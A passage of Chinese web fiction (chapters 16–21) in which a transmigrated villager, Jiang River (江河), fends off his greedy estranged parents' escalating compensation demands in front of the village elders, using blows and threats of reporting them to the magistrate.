“官可以不报,但是我这打不能白挨,江河那个不孝子若是不赔我两百文钱医药费,我跟他没完!”
江老太捂着自己红肿的老脸,含含糊糊的说出了自己的意思,眼中满是贪婪之色。
**之前能拿出四十文钱,请贾郎中到家里给江河那个不孝子看病。
且他们家的灶房里面还剩下了这么多的肥肉和鸡蛋,还有半锅没吃完的大米饭。
不用问她也能猜到,肯定是这些白眼狼背着他们老宅私藏了不少的家底。
江老太这次受了这么大的委屈,若是不把江河的家底给掏干掏净了,她可咽不下这口气。
另一边。
王冶山轻咳了一声,缓步走到了江河的跟前,一副恨铁不成钢的神色,轻声开口训斥道:
“江河啊江河,你让我说你什么好,你就不能稍稍控制一下你的脾气么?”
“那可是你亲娘啊,就算是你再生气再不满,也不能直接动手啊?”
“现在可好,儿子打娘,倒反天罡,老宅那边若是真个报了官,你还不得吃不了兜着走?”
“听叔一句劝,趁着现在还有挽的机会,你这就过去老老实实的跟你爹娘还有老二他们道个歉,争取他们的原谅,顺顺当当的把这件事情揭过去,好不好?”
第16章 拉偏架
江河一撇嘴。
好家伙,这稀泥和的,心都快偏到爪哇国去了。
这个王冶山,是把他当傻小子来糊弄呢!
真当他是什么都不懂的糊涂蛋,随便一吓唬就不知道东南西北,就得顺着他们指的道走了?
姥姥!
他既然敢出手掌掴江老太婆,自然是有着自己的依仗。
在已经断了亲的情况下,江老太这样一个外人,冒然闯进他们家,行******之举,已然是属于违法犯罪了。
他出手教训闯进自己家里的**犯,是理所应当之举,就算是报了官他也有理,他怕什么?
宣朝是以孝治国没错,可是在孝悌之上,还有律法。
他就不信了,县衙里的官老爷会放任这种肆意抢夺他人财物的违法者逍遥法外!
“王里正,冶山叔,你看到王三妮怀里抱着的东西了吗,那是她刚刚才从我家灶房里抢出来的,盘子里的肉片有大半都已经进了她的肚子。”
“还有,在此之前,她还抢了我家三小子身上的四十枚崭新的宣宝大钱,现在就在她的怀里揣着呢!”
江河没有理会王冶山给他摆的**阵,突然抬手一指不远处的江老太,连娘都不叫了,直称江老太的本名王三妮。
“别的我不多说,我只问冶山叔一句话,这算不算是****?报官的话会不会被判入大狱?”
呃?
王冶山直接就被问住了,甚至都开始对江河刮目相看了。
他没想到,这个平时在村子里好吃懒做、偷鸡摸狗小混混,竟然能想到这一步。
看来,从一开始,甚至从他与老宅那边签定断亲文书的时候,这小子就已经谋算好了一切,所以他现在才会这般的有恃无恐。
如此一来,他之前想好的忽悠套路怕是都用不上了,真是麻烦啊。
以前也没看出江河这小子有多精明啊,他真要是足够精明的话,怎么可能会傻到拿自己家钱财与粮食,十几年如一日的供养不待见他的老宅,供养喜欢偷奸耍滑的老二他们一家子?
看看他身边的亲儿子亲女儿,还有一众孙子孙女们,都瘦成了什么鬼样子?
他但凡有一点儿脑子,有一分机灵劲儿,就不会让自己这一家子过得这般穷苦落魄!
所以王冶山才会觉得奇怪,怎么现在的江河就像是突然开窍了一样,变得鬼精鬼精的,一时之间他还真有些不太适应。
难道真像是**刚才说的,他爹是因为磕到了脑袋才会这般性情大变,才敢这么算计老宅,甚至直接出手掌掴王三妮,胖揍老二江洋?
“好吧!既然你什么都明白,那我也就不跟你兜圈子了!”
见已经忽悠不住江河,王冶山索性就直接打开天窗说亮话:
“做为村里的里正,我不希望你们家因为这点事儿就闹着要去见官。”
“你也是常在街面儿上混的主儿,应该知道,县衙里的那些差役都是什么德行。
平时咱们这些平头老百姓躲避他们都还来不及,怎么能再主动送上门,给他们敲诈勒索的由头呢?”
“江河,你是明白人,当知道真要是报了官,你们两家就算是两败俱伤的结局,谁也别想好过。”
“再怎么说,对面也是你的至亲,纵使已经签了断亲文书,可是血脉之间的联系是永远也无法断绝的啊。
你爹娘就算是做得有些不对,你这做晚辈的,也应该多体谅体谅对不对?”
“再不济,你能不能看在你冶山叔还有老族长的面子上,轻拿轻放,把今天这事儿给揭过去,谁也不再追究计较了,如何?”
江河闻言,直接就被气乐了。
好家伙,知道他不好糊弄了,又在这给他讲起了人情,玩起了道德**,想要让他顾全大局,当今天什么事情也没有发生。
这可能吗?
真当他江河还是原身那个只知道愚孝的糊涂蛋?
还会像以前那样,什么事情都会顺着爹娘长辈,有亏自己吃,有气自己受,宁愿自己和家人吃苦受罪,也要讨好巴结老宅一家?
做什么春秋大梦呢?
之前他就想着要找个机会把原身这些年送给老宅的东西全都讨回来,现在江老太都送上门来了,他怎么可能会轻易放过?
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不过,江河并没有鲁莽的直接拒绝王冶山的提议。
再怎么说,此人也是下河村的里正,所谓县官不如现管,如非必要,江河并不想太过得罪这个王冶山。
他故作为难的刻意犹豫了片刻,苦笑一声道:
“治山叔,你和老族长的面子我当然要给。这样好了,我原则上同意不再追究王三妮的****罪,也不会主动去报官。”
“但是,王三妮一定要把她抢走的东西如数还回来,还要郑重向我们一家道歉,并保证以后再不来骚扰我们一家。”
王冶山闻言,不由在心底轻松了口气。
看样子,江河这小子不但变精了,而且也变得更懂事儿了。
不但给足了他这个里正的面子,也没有趁机狮子大开口,提出的要求也算是合情合理,没有半点儿逾越之处。
“这是应该的,就是你不说,我也会让王三妮这么做。”
“你们两家毕竟已经断了亲,她确实不该再来你们家要钱要物,这也太不像话了!”王冶山满意点头,很快就与江河统一了战线。
本来嘛,江老太那边就不占理,抢了人家的钱和东西,自然是要还回来的。
也就是江河这边好说话,不再深究,不然真要是见了官,最倒霉的肯定还是他们老宅那边。
现在就等着老族长那边的消息了,只要老族长把**头几口人给劝说住,今天的这场风波就算是彻底平息了。
江河见王冶山不时抬头朝着老族长和江老汉等人所在的方向看去,知道他心中所想,不由讥讽的轻撇了撇嘴。
王冶山到底还是太年轻,不知人心之贪婪,更不知像是王三妮那样既贪又馋又坏了心眼子的泼妇,怎么会舍得把自己吃进肚子里的东西再吐出来呢?
不出意外的话,王三妮现在多半正想着该怎么好好讹诈他们家一笔钱呢,又怎么可能会乖乖跟他们赔钱道歉?
江河之所以会提出这样的要求,就是想要借机让王三妮好好的闹腾一番,让老宅一家好好的恶心一下王冶山这个里正,看他以后还会不会再拉偏架,偏向老宅一家了……
第17章 贪得无厌
下河村多数村民都姓王,每家每户基本上都沾些亲,带些故。
老族长王德顺还有里正王冶山,就是他们王氏宗族中的最有威望的代表人物。
而江姓则是外姓,是**头早些年独自一人逃难至此,被王三妮看中,选了他当上门女婿,就此才在下河村安了家,落了户。
不过,因为王三妮家兄弟多,子孙也多,所以江十二虽是上门女婿,但是他们生下的孩子依然是随江姓,并没有随着王三妮姓王,更没有入了王氏宗族的族谱。
对于王氏一族来说,他们**家,除了王三妮外,其余皆是外人。
尤其是江河一家,在与王三妮断了亲之后,更是与王氏宗族再没了半分关系。
若不是他们的户籍落在了下河村,且又是从小在下河村长大,村里人早就联手把他们给赶出去了。
这也是为何王德顺与王冶山从一开始就选择和稀泥,不断偏向王三妮的原因所在。
不管咋说,人家才是一个姓氏,是血脉相通的实在亲戚,说话做事的时候,自然会多有偏向。
就像是这一次,明眼人一看就知道是王三妮在作妖,在无理取闹。
但是不管是围观的村民,还是身为里正的王冶山及老族长王德顺,全都理所当然的站在了王三妮的一边。
不断的和着稀泥,试图用道德与大义**江河,逼迫江河主动向王三妮低头认错。
江河正是因为看明白了这一点,知道他今日若是驳了王冶山与老族长的面子,以后在下河村有的是小鞋穿。
所以他并没有跟王冶山硬碰硬,而是从善如流的答应了一王冶山的请求。
只要王三妮将她从江家抢走的东西如数奉还,并开口向他们一家人道歉,这事就算是揭过去了。
只是他的话音才刚落下不久,就听到老族长王德顺那边,江老太王三妮尖锐刺耳的嚎叫声:
“不行!他今天必须得赔我老婆子两百文钱,否则这事儿没完!”
王三妮这一嗓子,瞬间就把院里院外所有人的目光都吸引了过去。
只见她一手紧紧护着怀里的肉盘和鸡蛋,另一只手叉着腰,肿得老高的脸上满是蛮横:
“他江河敢动手打老娘,就是大逆不道!就是倒反天罡!两百文都算是便宜他了,少一个子儿都不行!”
许是已经适应了脸上的疼痛,王三妮现在说起话来,比之方才流利了许多。
可越是如此,她就越是记恨江河这个不孝子。
**不打脸,骂人不揭短啊。
这个丧良心的白眼狼、不孝子,刚刚可是专门往她的脸上招呼啊,好悬没有直接把她给抽死过去!
就算是为了两个金孙,她可以选择不报官,但是她也不能让江河这一家子白眼狼好过了!
王德顺见状,气得胡子直抖,拐杖重重敲在地上,厉声喝斥道:
“三妮子!你怎么这么糊涂!现在是你抢了人家的东西,是你自己理亏,你怎么还好意思再朝人家要两百文钱?!”
“再说了,就江河家这个破落样子,你看他们像是有两百文钱的样子吗,这你明显就是在强人所难嘛!”
“我不管!”王三妮直接耍起泼来,“儿子打娘就是不对!不管走到哪我都有理!今天他要么赔钱,要么我……我就直接赖在他们家不走了我!”
原本王三妮还想说要去官府告发江河忤逆不孝。
可是一想到刚刚老族长的提醒与警告,便再不提什么报官的话,直接玩赖起来。
江老汉在一旁附声点头,变本加厉道:“对,就得这样好好治治这个不孝子!“
“还有,他之前答应我们的五百文养老钱还没给呢,这次他一共要掏出七百文钱才能放过他!”
嘶~!
听到江老头的话,不止是围观的村民,就连老族长王德顺与里正王冶山,都忍不住倒吸了一口冷气。
他们没想到,这老头儿竟然要比江老太还要狠心还要贪得无厌,开口就又多加了五百文。
整整七百文钱啊,江河怎么可能拿得出来?
这已经不是狮子大开口了,这完全是想要江河的命啊!
这么大一笔钱,莫说是江河家了,怕是他们整个上河村,能够一次性拿出七百文钱的家户,都
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不会超过一手之数。
“还有我呢,爹!”江洋这时捂着嘴站起来,高声道:“我也**河给打伤了,他必须也得赔我一些汤药费!”
“我不贪心,也不多要,江河只要给我拿一百文,我就不跟他计较了!”
“对!”老二媳妇王艳帮腔道:“我们当家的这打也不能白挨,江河必须得赔钱!”
王冶山看着这一幕,脸色越来越难看,最后直接黑成了锅底色。
他没想到王三妮家这几口子人,一个个的竟然都这么不知好歹,不识抬举。
他刚刚好不容易才说动了江河退让一步,不再追究王三妮的****罪过。
他们可倒好,反而趁机倒打一耙,不但得寸进尺,且还贪得无厌的张口就要八百文的赔偿!
亏得他刚刚还当着江河的面保证过,定要让王三妮赔偿道歉。
现在可好,这帮臭不要脸的东西,如此这般作为,简直就是在打他这个里正的脸啊有木有?
“三婶子,”王冶山走上前去,面色阴沉,语气严肃向王三妮说道:“你可要想清楚了,这事儿真要是闹大了,最后吃大亏的肯定是你们家。”
“莫要忘了,贤哥儿和达哥儿马上就要参加乡试、县试了,你可莫要在这节骨眼上无事生非……”
“王冶山,你这是什么意思?!吓唬老娘是不是?!”
王三妮一蹦三尺高,不满的冲着王冶山叫嚣道:
“江河那不孝子到底给了你什么好处,竟让你这么偏向着他说话?”
“还老娘我无事生非?刚刚大家都看到了,明明就是他江河忤逆不孝,出手打了自己的老娘!
我现在不追究他的过错,只是找他要了两百文的赔偿而已,怎么就不应该了?!”
“我还告诉你,今天这钱我要定了!”
“我的两百文,老二的一百文,再加上我们老两口五百文的养老钱,一共八百文钱,江河他今天必须得给我们拿出来!否则这事儿没完!”
显然,为了能够顺利要到钱,王三妮现在已经彻底疯癫了,连王冶山这个里正的面子都不管不顾了。
第18章 故技重施
看到这一幕,江河却是一点儿也不觉意外。
在他的记忆中,原身的爹娘就是这么奇葩与贪婪,最是会倚老卖老耍无赖。
同时,他们也从来都没有把原身当亲儿子看待,只是想要一个劲儿的从大儿子的身上吸血敲髓,却不肯有半点儿付出。
现在知道江河家里还有余钱,他们若是不想方设法的全都讹走,那才是奇了怪了。
见王治山被气得脸都黑了,抬手指着完全不要逼脸的王三妮,半天说不出话来。
老族长王德顺也是一脸嫌弃,拄着拐杖别过脸去,不想再搭理王三妮这没脸没皮的一家子。
刚刚他就已经把其中的利害关系,掰开了揉碎了,给他们说讲得明明白白,而王治山那边,似乎也把江河给劝说通了。
本来这种事情,只要一方愿意低头,一方顺势不再追究计较,就算是揭过去了。
可是谁能想到,王三妮、江十二,还有江洋这两口子,竟然会突然狮子大开口,非要让江河一家拿出八百文钱的赔偿。
他们咋有那么大的脸呢?
还八百文,这不是想要逼死江河一家,逼得江河不得不与他们撕破脸皮,对簿公堂么?
这种情况他们还怎么调解,还能调解得了吗?
江河那小子自打被撞到头后,明显变得跟以前不太一样了,不想再像以前那样不断吃亏,不断的供养老宅一家了。
否则的话,今天上午也就不会有那场断亲会,也就不会与江家老宅签定断亲文书。
这种事情,他们这些外人都能看得清楚明白,怎么江老汉与王三妮他们咋就看不透呢?
见老族长与王冶山皆都被王三妮给气得说不出话来,江河便知道他一直等着的机会终于到了。
原身的这对爹娘还有老二两口子,果然没有让他失望,一切都在朝着他所预料的方向发展着。
江源突然满脸委屈与悲愤的高声向王德顺及王冶山二人说道:
“老族长,冶山叔,你们可都看到了,这可不是我江河不给你们面子,实在是有人得寸进尺,想要逼死我们一家啊!”
“八百文钱,他们怎么敢要得出口?!”
“且不说我们已经断了亲了,签了断亲文书,从此婚丧嫁娶,各不相甘,老死再不相往来,我江河已经再无义务供养他们了。”
“就说眼前这件事情,老族长,里正叔,你们来给我们评评理,这事儿归根结底的过错方是我们家吗?我们该来赔这个钱吗?”
“那可八百文啊,咱们整个下河村,有几户人家能一口气拿出这么多钱来的?他们这已经不是讹诈,是这是存心想要了我们一家老小的命啊!”
面对着江河这般声泪俱下的泣血控诉,王治山与王德顺无言的对视了一眼,全都有些无奈的摇了摇头。
江河现在已经把话说到了这个份儿上,接下来他们若是再明目张胆的偏向王三妮一家,再继续劝说江河忍气吞声,那就不是在调解,而是要明着与江河结仇了。
为了王三妮这贪得无厌的一家人,与江河这个明显变得精明了许多的家伙结仇,绝对非他们所愿。
况且,周围这么多村民全都看着呢,若是他们做事太过分,落得一个处事不公、以大欺小的名声,着实有损他们族长及里正的声望与威名。
“三妮子,真的就没有一点儿缓和的余地了?你非要让江河一家赔你八百文钱?”
本不想再管这点儿破事儿的老族长,念在同宗的份儿上,还是没有忍不住最后又劝了王三妮一句:
“听叔公一句劝,得饶人处且饶人,江河他毕竟是你身上掉下来的一块肉,之前对你们老两口也算孝顺,可千万别把他给逼得反目成了仇人……”
王三妮现在正在气头上,满心满眼都在想着如何从江河身上榨出更多油水来,哪里能听得出老族长话中的劝诫与警告之意。
现在她只觉得老族长也是在故意偏袒江河,是在劝她放弃赔偿,饶过江河这个白眼狼。
所以,没等老族长把话说完,王三妮就满脸不耐的开口把王德顺的话语打断:
“老叔公,你看看我这脸,看看我张脸,都被这个逆子
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给打成什么鬼样子了?”
“还得饶人处且饶人,你这话说得可怪轻巧,合着被打的人不是你,你是一点儿也不觉着疼啊!”
“呵,你这上嘴皮一碰下嘴皮,就想让我饶了江河这个白眼狼,你觉得这可能吗?!”
“我还是那句话,今天江河这个忤逆的白眼狼,要是不拿出八百文钱来,老娘就跟他没完!”
“诶!我还就赖在这里不走了,每天吃他们的喝他们的,我还要堵着他们的门每天叫骂,让他们家以后再也没有安生日子过!”
听到王三妮的叫嚣与威胁,跪坐在地上的**,站在灶房门口的赵穗、罗灵妯娌俩,还有躲在堂屋里的江源、江沫儿等几个小家伙,全都忍不住身形一抖,一股难言的恐惧直袭心头。
就连江河,也觉脑子仿佛被人用针扎了一下,过去一些不太好的回忆不自觉的翻涌而出。
原来,早在三年之前,江老太就曾拿这招对付过他们家。
那时候,原身的老婆王娟还活着,家里的日子已然是过得极为艰难,经常是有了上顿没下顿,几个孩子、孙子更是饿得嗷嗷叫,削瘦如柴。
为了一家人的生计,为了自己的子孙能够活下去,王娟曾以死相逼,不让江河再拿家里的口粮与钱财去贴补老宅。
结果,王娟不但遭了江河一顿毒打,还因此惹恼了江老太。
这老太婆就那样直接堵在了江河家门口,整整三天三夜,不断的诅咒叫骂,引得全村的村民都来围观,最后逼得王娟一个没想开,直接就在西屋悬了梁。
从此以后,江河没了媳妇,**、江源、江沫儿等儿女没了亲娘,江家的日子就过得更加凄苦了。
也就是在那个时候,二儿子江天,还有大女儿江槐,才在心里彻底记恨上了原身这个渣爹,记恨上了老宅一家。
从那以后,二人虽然没有明言与原身断绝关系,但是却再也没有主动回来过一次,更没有再叫原身一句爹。
没想到现在,这老太婆竟还想着要故技重施,还要用这招儿来逼着江河就范。
第19章 我也要报官
这……?
翻看完这段突然涌现出来的记忆,江河忍不住在心里骂了句娘,感觉自己刚才打的那两巴掌,实在是太轻了也太少了。
早知道这老太婆这么不是东西,之前甚至还曾逼死过原身的老婆,江河刚刚高低得给这老太婆再来一个狠的。
不过……现在也还不晚。
看着已经不知不觉又跳到自己跟前的王三妮,正满眼贪婪与得意的直盯着他,一副已经吃定了他的姿态与架势。
江河哪里还会再跟她客气,直接飞起一脚,径直踹到了王三妮的大腿根儿上。
只听得“咔嚓”一声脆响,伴随着王三妮杀猪般的嚎叫,她的整个身体便如沙包一样向后飞出了两米多远,然后重重的撞上了站在他身后的江洋两口子身上。
瞬时间,三个人全都跌倒在地,疼得大呼小叫。
尤其是王三妮,抱在怀里的肉和蛋全都撒了不说,两只手更是捂着自己的右腿不断哀嚎:
“我的腿!我的腿好像断掉了……老天爷啊,这个不孝子存心是想要了我老太婆的命啊!”
“没天理了啊,有不孝子想要弑母都没人管了啊……”
王顺德与王冶山见状,全都把脸别过了一边,只当是什么都没看到。
如果不是他们的身份不合适,他现在都想要拍手叫好,大骂了一句活该。
你特娘的都狮子大开口,想要把人一家都给讹**,还不许别人踹你一脚出口恶气了?
不过有一说一,江河这一脚虽然确实踹得挺解气,但是要真是把王三妮给踹出个好歹,他也算是摊上**烦了。
打两巴掌,和直接把腿给人踢断,可是两个完全不同的概念。
一个是不孝,一个却有弑母的嫌疑。
真要是闹得见了官,县衙里的官老爷也绝对不会轻饶了他。
“再嚎,再嚎老子把你另外一条腿也给踹折了你信不信?!”
江河一脸凶戾的狠狠瞪了不断哀嚎叫骂的王三妮一眼,抬手摸了摸了自己脑袋上的伤处,厉声道:
“反正老子已经是死过一次的人了,什么都不在乎了。真要是把我惹急了眼,我可不介意现在就带着你们一家人一起再去一趟阎罗殿!”
刷!
所有的哀嚎与痛呼声在这一刻全都戛然而止。
王三妮、江河、王艳,还有一旁的江老汉,此刻全都满眼惊恐抬头看向江河,身体也在不自觉的颤抖着向后退缩。
显然,他们是**河这想要以命换命的暴戾言语给吓到了。
他们不知道江河是不是真的敢这么做,但是素来怕死惜命的他们,却是半点儿也不敢赌。
没有办法,他们只得又将求救的目光投向了旁边的老族长与王里正身上。
江洋更是扯着嗓子大呼小叫道:“老叔公,冶山叔,你们可都听到了,江河他疯了,他不但踹断了我娘的腿,现在更是还扬言要杀了我们!”
“你们一个是王家的族长,一个是村里的里正,可不能见死不救,不管我们啊!”
王德顺与王冶山同时一阵无语的冲江洋几口翻了翻白眼,真是很不想再搭理他们,不想再管他们家的破事儿了啊。
刚刚好言好语的跟他们讲他们非不听,非要耍无赖讹钱,还一个劲儿的说他们二人一直都在偏向江河。
现在好了,江河开始跟他们玩命了,开始向他们下死手了,他们反倒是开始着急害怕了。
真是早知如此,何必当初,自作孽,不可活啊!
只是,到底是同宗的族人,现在当着这么多人的面开口求到了他们头上,他们还真不好不管。
王德顺扭头看向身旁的王冶山,却不想王冶山直接把头一扭,撂起了挑子,不打算再管这档子事儿了。
看样子,刚刚是真的被王三妮给气到了。
没办法,王德顺只好亲自出马,轻咳了一声拦在了江河的身前,缓声说道:
“江河啊,差不多就行了,就当是给叔公一个面子,别再闹腾下去了。”
“刚刚的事情,固然是**不对,不过现在你打也打了,骂也骂了,气应该也出的差不多了。要不……接下来你们就各回各家,谁也别再计较了,如何?”
最后这句话,王德顺不止是在说给江河听,同时也是在说给王三妮、江老汉及江洋两口子听。
若是他们再不依不饶的不肯罢休,接下来他可就真的一点儿也不管了。
该报官报官,该判刑判刑,该入狱入狱,爱咋咋滴!
“不行!”
江河还没有开口,坐在地上疼得直掉眼泪的王三妮就扯着嗓子高声嚎叫道:
“老娘的腿都被不孝子踹断了,怎么能就这么算了?!”
“王德顺,我们才是同宗同族的亲人,你的胳膊肘可不能一直往外拐啊!今天江河这个不孝子要是不拿出一贯钱来给我看治伤看病,我……我就报官,告这个不孝子弑母弑父!”
哗~!
听到江老太的话,围观的村民直接就炸开了锅。
原本还觉得江河掌掴甚至踢踹自己的亲娘,实在是太过分太不应该了,不管怎么着,小的都不应该对老的动手。
尤其是最后那一脚,直接就把人给踹飞了,下手也忒狠了,大家多少还有些同情王三妮,觉得她是受害者。
但是现在,听到那“一贯钱”的天价赔偿后,所有人再看向江老太时的眼神都变了。
眼中再没多少同情的神色,有的只是满眼的震惊、意外与鄙夷。
之前听江老太要江河一家赔八百文钱,他们就已经觉得够离谱的了。
没想到现在,这老太婆上嘴皮一碰下嘴皮,又把赔偿款提到了一贯钱!
那可是整整一千文钱啊,就算是把江河一家全都卖了,都未必能卖得了这么多钱。
只是挨了一脚而已,腿断没断都还两说呢,怎么能一下讹人一贯钱呢?
乡下**多都皮糙肉厚,平时打架玩闹,挨个几拳几脚的,根本就不叫个事儿。
就算是真的打得狠了,断了胳膊腿什么的,最多也就是赔个汤药费,哪有人敢这么黑心直接要一千文钱的?
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王德顺面上的褶子一阵颤抖,直接就被王三妮给整得自闭了,半句话也不想再多说。
刚刚他就多余管这泼妇的闲事儿,他就应该像王冶山那样,直接事不关己,高高挂起,随他们两家怎么折腾去。
就算是真的闹出了人命,那也是他们自找的。
“老族长,老叔公,现在这事儿怎么说?”江河趁机开口向王德顺问道:“您觉得这是我不闹腾、不计较就能过去的事儿吗?”
“现在可不是我江河不给您老面子,而是对面胡搅蛮缠,不从我江河身上咬下一块肉来就不罢休。这是想要像当年逼死我家婆娘那样,把我们一家全都给逼死啊!”
“您是老族长,见多识广又德高望众,要不您现在来教教我,我接下来该怎么做?”
江河这番话,更是把王德顺给挤兑得有些无地自容。
他现在还能说什么?
继续劝江河要大度要包容,要得饶人处且饶人,甚至直接让江河想办法把那一贯钱给凑出来?
得了吧!
江河现在可是光脚的不怕穿鞋的,刚刚他说要跟**家以命换命,可不像是在说笑。
真要是把这小子给惹急了,被他给记恨上了,再在背里偷偷报复他们一家老小可咋办?
王德顺可不想调解不成,反倒给自己招来一个仇家。
“罢了罢了!”王德顺无力的轻摆了摆手,道:“你们两家的事情,我这个老头子实在是无能为力了,你们爱怎么折腾就怎么折腾吧,我不管了,也管不了了!”
说着,老头直接拄着拐杖,气呼呼的分开人群离开了,竟真的一点儿也不想再管了。
王冶山见状,也想要跟着一起离开,却**河一把拉住胳膊给拦了下来:“冶山叔,您可不能再走了,您是村里的里正,我还指望着您来给我们主持公道呢!”
两个主事的要是全都走了,接下来的戏他还怎么唱?
难不成真的去跟江老头、江老太以命换命?
别开玩笑了,他好不容易才穿越一回,重活一世,还没活够、浪够呢,哪能真的为了几个**就轻易交待了?
王冶山**河死死拽住,根本就挪动不了半点儿脚步,只得无奈的开口向江河问道:
“好吧,江河,你且说说看,你到底想要如何?”
他算是看出来了,江河这个家伙也是个黑心肝的,丫这是想要拖着他,一起给江家老宅的那帮人下套呢。
“我也要报官!”
江河想都没想就用所有人都能听得到的声音,高声叫嚷:
“我要告王三妮****,告江十二一家仗势欺人、敲诈勒索,我要把他们一家全都送到大狱里去!”
“我要断了江贤、江达两个小白眼狼的科举之路,让他们跟我家**一样,全都回来种地去!”
听到这话,王冶山的心里骤然一突。
果然,他最担心的情况还是发生了。
江河这小子,是铁了心的要拉着王三妮,拉着江家老宅这几口,鱼死网破、同归于尽啊!
第20章 你在想屁吃呢!
不对。
王冶山突然反应过来,江河真要是想要报官的话,根本就不会在这里空喊口号瞎嚷嚷,早就让**或是赵穗等晚辈跑着去县衙里报案去了。
所以……江河这应该也是在虚张声势,是在故意吓唬王三妮与江老汉几人?
这么想着,王冶山的目光不由朝着方才还张牙舞爪,要让要江河赔一贯钱的王三妮看去。
只见此时的王三妮正一脸呆愕的直盯着江河,仿佛是完全不认识自己这个大儿子了一般。
“报官?他凭什么去报官,他怎么敢去报官的?”
“现在可是他忤逆不孝,是他打断了自己亲娘的大腿啊,真要报了官,他就不怕自己会下大狱吗?”
王三妮口中喃喃自语。
想来是她也没有想到,江河竟然一点儿也不惧她之前的威胁,非但不愿赔钱,反而还主动要去县衙报官。
真是岂有此理啊!
这个狗东西就能像是以前那样,再孝顺他们一次,乖乖的把家里的钱全都贡献出来吗?
为什么要反抗,为什么要跟她这个当娘的过不去?
王三妮的身后,江老汉、江洋还有王艳三人也差不多都是这般心理。
他们完全没有想到,江河的心思竟然如此歹毒,宁愿自己背上不孝甚至弑母的罪名,也要两败俱伤的拉他们下水,彻底断了江贤与江达二人的仕途前程。
这个官能报吗?
肯定是不行的啊!
之前老族长已经将这件事情的严重性告诉他们了,真要是见了官,江河固然有错,可是江老太的过错更大。
一个不好,两个人可能都会蹲大狱。
江河本就是个不学无术的混子,蹲大狱对他来说跟家常便饭没什么两样,根本就不会对他的名声造成什么更坏的影响。
但是江老太若是蹲了大狱,她作为江贤、江达的嫡祖母,却在县衙留了****的案底,必然会影响江贤、江达日后的科举仕途。
所以,肯定是不能报官的!
瓷器不与烂瓦碰,拿江贤、江达前途无量的科举仕途,去跟江河这个二赖子碰,怎么都是他们吃大亏。
刚刚江老太闹得那么凶,几次嚷嚷着说要去报官,却迟迟都没有实际的行动,就是因为如此。
他们只是想要拿报官来吓唬江河,逼迫江河妥协,拿出相应的赔偿而已,并没有真想去报官。
可是现在。
江河这狗东西竟然也嚷嚷着要去报官,嚷嚷着要与他们同归于尽,要坏了江贤、江达二人的前程,这特么怎么能行?!
江贤江达可是他们老宅的七寸所在,无论如何他们都不会让江河得逞。
“你个黑心混帐的不孝东西,你还敢报官,还敢坏了我两个金孙的前程,看我老头子今天不打死你!”
江老汉气急败坏的扬起了手中的烟锅子,三步并作两步走,冲过来就要往江河的头上敲。
江河侧身轻松躲过,之后瞅准时机,一把夺过江老汉手上的老烟枪,同时抬脚又在江老汉的腰眼上猛踹了一脚。
这一脚虽没有像之前踹王三妮那样直接把人踹飞,却也让江老汉飞速的朝着后面跟来的江洋两口撞去。
砰!
三人再次如落地葫芦一样,在地上打了好几个滚儿才止住身形。
之后又是一连串的痛呼哀嚎声,江老汉捂着后腰,疼得眼泪都快要掉下来了,一个劲儿的嚷嚷着自己的腰断了。
江洋两口子第二次被撞倒在地,屁股都快要被摔成了八瓣,也是疼得直吸冷气。
“冶山叔,你也看到了,这次可不怨我,是他们先动手的,我只是被迫还击而已。”
“一会儿到了县衙,你可得给我做证!”
江河一脸无辜的冲着王冶山耸了耸肩,表示自己并没有主动出手**。
王冶山无语的看了江河一眼,无奈摆手道:“罢了,你们爱怎么折腾就怎么折腾吧,真要是见了官,我会如实将我看到的情况禀报给县尊大人知晓,至于县尊大人会怎么判,就看你们自己的造化了。”
啊?
王三妮一家见王冶山这个里正竟然也不想管了,更没有拦着江河去报官,一时间全都傻了眼。
不是。
刚刚他们嚷嚷着要去报官的时候,老族长还有里正左拦右拦的逼逼个不停。
怎么现在轮到江河嚷嚷
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着要去报官的时候,他们却连屁都不放一个了?
这不是……这不是在故意难为他们一家人吗?
王冶山明知道江河一旦报了官,他们江家老宅就会吃大亏,江贤、江达更是会被影响到科举前程,却一点儿也没想着去阻拦江河,这不是在故意难为他们,在故意看他们的笑话,又是什么?
不觉之间,这一家人竟在心里把王冶山这个里正给记恨上了。
“不能报官!”终于意识到问题严重性的王三妮突然尖叫着高声阻止道:“绝对不能报官!”
“王……他冶山叔,不能让江河这不孝子报官,我们毕竟一家人,血脉至亲,没有必要把这些家事闹到县衙里去!”
“这样,所有的赔偿我们都不要了,回头上江河割上三斤肉送到老宅去,给我们老两口补补身子,这事儿就算是揭过去了,怎么样?”
在她看来,她的腿都断了,一贯钱的赔偿也舍了不要了,只要江河三斤肉的孝敬,已经算是够便宜江河这个不孝子了。
江河就算是不感恩戴德、直接跪下来给她磕头谢恩,也会欣然接受她的要求,了结了今天这场闹剧。
王冶山再次被王三妮的骚操作给整得无语了。
特么都到了这个时候了,这个老太婆竟然还没有看清形势,还惦记着那三斤肉呢。
这已经不是贪得无厌了,这完全就是蠢,而且蠢得无可救药了都。
“你在想屁吃呢!”
江河直接把王冶山心里想说的话给说讲了出来,朴实无华对着王三妮说道:
“都到了这个时候了,你竟然还腆着脸想着要占老子的便宜,谁给你的自信?真当老子还是以前那个任你们吸血敲髓的糊涂蛋呢?”
“王三妮,还有江十二,你们全都给老子听好了!”
江河环抱着双臂,居高临下的俯视着跌坐在地上的王三妮,还有江老头等人,声音清冷的出言威胁道:
“不想见官的话也可以,你们之前说好的那一贯钱的赔偿,一文钱也不能少的送到我的手上,今天这事儿就算是了结了。”
“不然的话,王三妮,你就等着把牢底坐穿吧!”
第21章 我能有什么坏心思呢?
什么?
一贯钱?!
他怎么不去抢?!
江河这话一说出口,王三妮、江十二还有江洋两口子全都炸了,一个个的皆都满眼怒意的直盯着江河。
江洋更是一脸不忿的扭头看向旁边的里正王冶山,高声嚷嚷道:
“冶山叔,你听到了,江河他讹人啊,他在讹我们啊!你可是咱们村里的里正公,你就这样干看着,不管管吗?”
王冶山虽然也极为惊诧江河提出的条件,不过现在听到江洋这般说讲,他的心里却更觉腻味与恶心。
特么,现在你知道这是在讹人了,刚刚你们一家几口逼着江河赔一贯钱的时候,不是叫得挺欢么,怎么那个时候你们不觉得是在讹人,不来找我这个里正管管了?
“咳……”王冶山轻咳了一声,先是鄙夷的瞥了江洋一眼,然后淡声细语的开口道:“我刚刚已经说了,这是你们两家的事儿,你们自己协商着处理就好,我最多留在这里做个见证。”
见王冶山竟然也撂手不管了,心中原本还有一丝期盼的王三妮、江十二与江洋几人不由彻底死心。
老族长走了,里正现在就是个摆设,心完全都偏到江河那个逆子身边去了,除了他们自己,再也没有人能为他们出头做主了。
“江河啊,这一贯钱着实是太多了,我们根本就拿不出来!”
